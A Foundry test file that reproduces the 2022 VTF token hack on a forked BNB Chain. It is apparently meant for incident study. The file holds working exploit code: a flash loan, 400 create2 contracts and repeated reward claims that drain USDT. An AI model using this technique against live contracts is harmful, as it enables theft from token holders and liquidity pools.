src/test/2022-10/VTF_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1585575129936977920
9// https://twitter.com/peckshield/status/1585572694241988609
10// https://twitter.com/BeosinAlert/status/1585587030981218305
11// @TX
12// https://bscscan.com/tx/0xeeaf7e9662a7488ea724223c5156e209b630cdc21c961b85868fe45b64d9b086
13// https://bscscan.com/tx/0xc2d2d7164a9d3cfce1e1dac7dc328b350c693feb0a492a6989ceca7104eef9b7
14 
15interface IVTF is IERC20 {
16    function updateUserBalance(
17        address _user
18    ) external;
19}
20 
21interface IROUTER {
22    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
23        uint256 amountIn,
24        uint256 amountOutMin,
25        address[] calldata path,
26        address to,
27        uint256 deadline
28    ) external;
29}
30 
31contract claimReward {
32    IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);
33 
34    constructor() {
35        VTF.updateUserBalance(address(this));
36    }
37 
38    function claim(
39        address receiver
40    ) external {
41        VTF.updateUserBalance(address(this));
42        VTF.transfer(receiver, VTF.balanceOf(address(this)));
43    }
44}
45 
46contract ContractTest is Test {
47    address constant dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
48    IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);
49    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
50    IROUTER Router = IROUTER(0x7529740ECa172707D8edBCcdD2Cba3d140ACBd85);
51    address[] public contractList;
52 
53    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
54 
55    // ankr rpc bsc maybe unavailable, please use QuickNode
56    function setUp() public {
57        cheat.createSelectFork("bsc", 22_535_101);
58    }
59 
60    function testExploit() public {
61        contractFactory();
62        // change time to pass time check
63        cheat.warp(block.timestamp + 2 * 24 * 60 * 60);
64        DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));
65 
66        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
67    }
68 
69    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
70        USDTToVTF();
71        VTF.transfer(contractList[0], VTF.balanceOf(address(this)));
72        for (uint256 i = 0; i < contractList.length - 1; ++i) {
73            (bool success,) = contractList[i].call(abi.encodeWithSignature("claim(address)", contractList[i + 1]));
74            require(success);
75        }
76        uint256 index = contractList.length - 1;
77        (bool success,) = contractList[index].call(abi.encodeWithSignature("claim(address)", address(this)));
78        require(success);
79        VTFToUSDT();
80        USDT.transfer(dodo, 100_000 * 1e18);
81    }
82 
83    function USDTToVTF() internal {
84        USDT.approve(address(Router), type(uint256).max);
85        address[] memory path = new address[](2);
86        path[0] = address(USDT);
87        path[1] = address(VTF);
88        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
89            100_000 * 1e18, 0, path, address(this), block.timestamp
90        );
91    }
92 
93    function VTFToUSDT() internal {
94        VTF.approve(address(Router), type(uint256).max);
95        address[] memory path = new address[](2);
96        path[0] = address(VTF);
97        path[1] = address(USDT);
98        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
99            VTF.balanceOf(address(this)), 0, path, address(this), block.timestamp
100        );
101    }
102 
103    function contractFactory() public {
104        address _add;
105        bytes memory bytecode = type(claimReward).creationCode;
106        for (uint256 _salt = 0; _salt < 400; _salt++) {
107            assembly {
108                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
109            }
110            contractList.push(_add);
111        }
112    }
113}